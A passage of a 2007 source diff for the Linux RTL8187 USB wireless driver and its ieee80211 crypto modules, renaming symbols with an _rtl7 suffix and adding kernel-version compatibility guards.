ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; @@ -2182,7 +2229,7 @@ int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; @@ -2192,7 +2239,7 @@ int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); @@ -2207,7 +2254,7 @@ int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; @@ -2220,7 +2267,7 @@ rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); return 0; } @@ -2228,23 +2275,28 @@ void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); up(&priv->wx_sem); @@ -2252,7 +2304,7 @@ static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); @@ -2273,7 +2325,7 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; down(&priv->wx_sem); @@ -2291,8 +2343,9 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); struct iwreq *wrq = (struct iwreq *)rq; @@ -2300,7 +2353,7 @@ int ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2346,7 +2399,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,7 +2422,9 @@ // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + + stats.signal -= stats.noise; + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2398,14 +2454,14 @@ //printk("===> rtl8187_usb_probe()\n"); - dev = alloc_ieee80211(sizeof(struct r8180_priv)); + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); SET_MODULE_OWNER(dev); usb_set_intfdata(intf, dev); SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); priv->udev=udev; @@ -2418,7 +2474,12 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ @@ -2447,7 +2508,7 @@ fail: - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver load failed\n"); @@ -2464,7 +2525,7 @@ unregister_netdev(dev); - priv=ieee80211_priv(dev); + priv=ieee80211_priv_rtl7(dev); rtl8180_proc_remove_one(dev); @@ -2478,12 +2539,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2556,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2569,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); spin_unlock_irqrestore(&priv->tx_lock,flags); if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2584,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187.h 2007-03-05 00:31:41.535179906 +0100 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +151,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-03-05 00:31:52.275341919 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +41,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +64,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +81,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +106,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +131,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +162,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +189,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +208,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +220,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +230,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +250,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-03-05 00:31:52.295342221 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,20 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + #include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +67,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +83,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +113,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +122,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +130,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +194,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +245,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +253,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +270,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +334,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +345,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +373,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +404,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +428,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +445,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_txpower/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.h 2007-03-05 00:31:49.235296061 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-03-05 00:31:52.355343126 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +70,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +109,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +208,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +230,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +276,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +291,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +333,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +390,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +436,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +457,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +504,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +516,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +527,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +548,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +564,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +572,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +581,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +593,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +609,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +639,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +669,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +696,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init 